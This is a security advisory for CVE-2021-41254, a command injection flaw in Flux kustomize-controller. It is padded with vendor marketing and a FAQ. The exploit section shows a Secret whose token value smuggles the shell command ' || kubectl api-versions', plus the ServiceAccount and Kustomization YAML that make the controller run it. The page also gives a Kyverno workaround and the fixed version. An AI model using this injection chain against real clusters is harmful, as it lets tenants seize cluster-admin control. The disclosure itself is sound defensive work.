Summary
Privilege escalation to cluster admin on multi-tenant environments
Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run kubectl commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.
Exploit
To exploit the command injection, first we create a secret with a shell command:
kubectl create secret generic exploit-token --from-literal=token=" || kubectl api-versions"
Then we create a Service Account that refers to the above Secret:
apiVersion: v1
kind: ServiceAccount
metadata:
name: exploit
namespace: default
automountServiceAccountToken: false
secrets:
- name: exploit-token
And finally a Kustomization that runs under the above Service Account:
apiVersion: kustomize.toolkit.fluxcd.io/v1beta1
kind: Kustomization
metadata:
name: exploit
namespace: default
spec:
interval: 5m
path: "./deploy/"
sourceRef:
kind: GitRepository
name: app
serviceAccountName: exploit
When kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.
Workarounds
To prevent the creation of Kubernetes Service Accounts with secrets in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: restrict-sa
spec:
validationFailureAction: enforce
background: false
rules:
- name: validate-sa
match:
resources:
kinds:
- ServiceAccount
namespaces:
- tenant1
- tenant2
subjects:
- kind: User
name: [email protected]
- kind: User
name: [email protected]
- kind: ServiceAccount
name: kustomize-controller
namespace: flux-system
- kind: ServiceAccount
name: helm-controller
namespace: flux-system
validate:
message: "Invalid service account"
pattern:
X(secrets): "*?"
References
Disclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF.
For more information
If you have any questions or comments about this advisory:
- Open an issue in kustomize-controller repository
Impact
Multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.
Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.
CVE-2021-41254 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.15.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the kubectl binary has been removed from the container image.
Frequently Asked Questions
- What is CVE-2021-41254? CVE-2021-41254 is a high-severity OS command injection vulnerability in github.com/fluxcd/kustomize-controller (go), affecting versions < 0.15.0. It is fixed in 0.15.0. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
- How severe is CVE-2021-41254? CVE-2021-41254 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/fluxcd/kustomize-controller are affected by CVE-2021-41254? github.com/fluxcd/kustomize-controller (go) versions < 0.15.0 is affected.
- Is there a fix for CVE-2021-41254? Yes. CVE-2021-41254 is fixed in 0.15.0. Upgrade to this version or later.
- Is CVE-2021-41254 exploitable, and should I be worried? Whether CVE-2021-41254 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2021-41254 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2021-41254? Upgrade
github.com/fluxcd/kustomize-controllerto 0.15.0 or later.